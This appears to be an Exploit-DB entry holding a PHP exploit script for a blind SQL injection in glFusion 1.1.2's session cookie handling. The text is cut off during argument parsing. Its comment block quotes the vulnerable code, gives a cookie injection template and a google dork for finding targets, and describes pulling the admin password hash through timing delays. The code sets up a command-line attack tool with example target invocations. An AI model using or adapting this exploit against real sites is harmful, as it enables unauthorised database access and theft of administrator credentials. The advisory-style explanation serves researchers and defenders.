Exploit-DB #8347
Description: glFusion 1.1.2 - 'COM_applyFilter()/cookies' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-03
Author: Nine:Situations:Group

Exploit:
<?php
    /*
    glFusion <= 1.1.2 COM_applyFilter()/cookies remote blind sql injection exploit
    by Nine:Situations:Group::bookoo
     
    our site: http://retrogod.altervista.org/
    software site: http://www.glfusion.org/
     
    google dork: "Page created in" "seconds by glFusion" +RSS
     
    Found another vector of injection in /private/system/lib-session.php near lines 97-117:
    ...
    if (isset ($_COOKIE[$_CONF['cookie_session']])) {
    $sessid = COM_applyFilter ($_COOKIE[$_CONF['cookie_session']]);
    if ($_SESS_VERBOSE) {
    COM_errorLog("got $sessid as the session id from lib-sessions.php",1);
    }
     
    $userid = SESS_getUserIdFromSession($sessid, $_CONF['session_cookie_timeout'], $_SERVER['REMOTE_ADDR'], $_CONF['cookie_ip']);
     
    if ($_SESS_VERBOSE) {
    COM_errorLog("Got $userid as User ID from the session ID",1);
    }
     
    if ($userid > 1) {
    // Check user status
     
    $status = SEC_checkUserStatus($userid);
    if (($status == USER_ACCOUNT_ACTIVE) ||
    ($status == USER_ACCOUNT_AWAITING_ACTIVATION)) {
    $user_logged_in = 1;
     
    SESS_updateSessionTime($sessid, $_CONF['cookie_ip']);
     
    ...
     
    see SESS_updateSessionTime() function near lines 418-436:
     
    ...
    function SESS_updateSessionTime($sessid, $md5_based=0) {
    global $_TABLES;
     
    $newtime = (string) time();
     
    if ($md5_based == 1) {
     
    $sql = "UPDATE {$_TABLES['sessions']} SET start_time=$newtime WHERE (md5_sess_id = '$sessid')";
    } else {
     
    $sql = "UPDATE {$_TABLES['sessions']} SET start_time=$newtime WHERE (sess_id = $sessid)"; //<-------- SQL INJECTION HERE
     
    }
     
    $result = DB_query($sql);
     
    return 1;
    }
    ...
     
    if session id is not md5() hashed in general configuration, which is the default
    you can inject arbitrary SQL statements.
     
    Note that the query in SESS_getUserIdFromSession() function:
     
    ...
    if ($md5_based == 1) {
    $sql = "SELECT uid FROM {$_TABLES['sessions']} WHERE "
    . "(md5_sess_id = '$sessid') AND (start_time > $mintime) AND (remote_ip = '$remote_ip')";
    } else {
     
    $sql = "SELECT uid FROM {$_TABLES['sessions']} WHERE "
    . "(sess_id = '$sessid') AND (start_time > $mintime) AND (remote_ip = '$remote_ip')";
    }
    ...
     
    compares the supplied sessid value with the "sessid" value from sessions table which is an integer.
    Mysql, like php, in comparing them, only considers the first integer values of the supplied string.
    So the function returns a valid userid and, if you know an existent sessid in table, you can inject
    queries in cookies, like this:
     
    Cookie: glf_session=12345678 [SQL HERE]; glfusion=[PII_REDACTED];
     
    This tool use delays to extract an admin hash from users table, but needs a simple user account;
     
    some improvement in find_prefix();
     
    working against MySQL >= 5.0.12, where SLEEP() function is availiable
    or ... if you find another solution for delays, with MySQL >= 4.1, which supports SELECT subqueries
    (BENCHMARK() cannot be used because commas are filtered by COM_applyFilter() function)
     
    */
     
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
     
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
            nil;
        } else {
            !dl("php_curl.so") ? die($err[1]) :
            nil;
        }
    }
     
    function syntax() {
        print (
        "Syntax: php ".$argv[0]." [host] [path] [user] [pass] [OPTIONS]         \n". "Options:                                                                 \n". "--port:[port]       - specify a port                                     \n". "                      default->80                                      \n". "--prefix            - try to extract table prefix from information.schema\n". "                      default->gl_                                     \n". "--uid:[n]           - specify an uid other than default (2,usually admin)\n". "--proxy:[host:port] - use proxy                                          \n". "--verbose           - show more informations                             \n". "--skiptest          - skip preliminary tests                             \n". "--test              - run only tests                                     \n". "Examples:   php ".$argv[0]." 192.168.0.1 /glfusion/ bookoo pass          \n". "            php ".$argv[0]." 192.168.0.1 / bookoo pass --prefix --proxy:1.1.1.1:8080\n". "            php ".$argv[0]." 192.168.0.1 / bookoo pass --prefix --uid:3");
        die();
    }
     
    error_reporting(E_ALL ^ E_NOTICE);
    $host = $argv[1];
    $path = $argv[2];
    $_user = $argv[3];
    $_pwd = $argv[4];
     
    $prefix = "gl_";
    //default
    $uid = "2";
    $where = "uid=$uid"; //user id, usually admin, anonymous = 1
     
     
    $argv[4] ? print("[*] Attacking...\n") :
     syntax();
     
    $_f_prefix = false;
    $_use_proxy = false;
    $port = 80;
    $_skiptest = false;
    $_verbose = false;
    $_test = false;
     
    for ($i = 3; $i < $argc; $i++) {
        if (stristr($argv[$i], "--prefix")) {
            $_f_prefix = true;
        }
        if (stristr($argv[$i], "--proxy:")) {
            $_use_proxy = true;
            $tmp = explode(":", $argv[$i]);
            $proxy_host = $tmp[1];
            $proxy_port = (int)$tmp[2];
        }
        if (stristr($argv[$i], "--port:")) {
            $tmp = explode(":", $argv[$i]);
            $port = (int)$tmp[1];
        }
         
        if (stri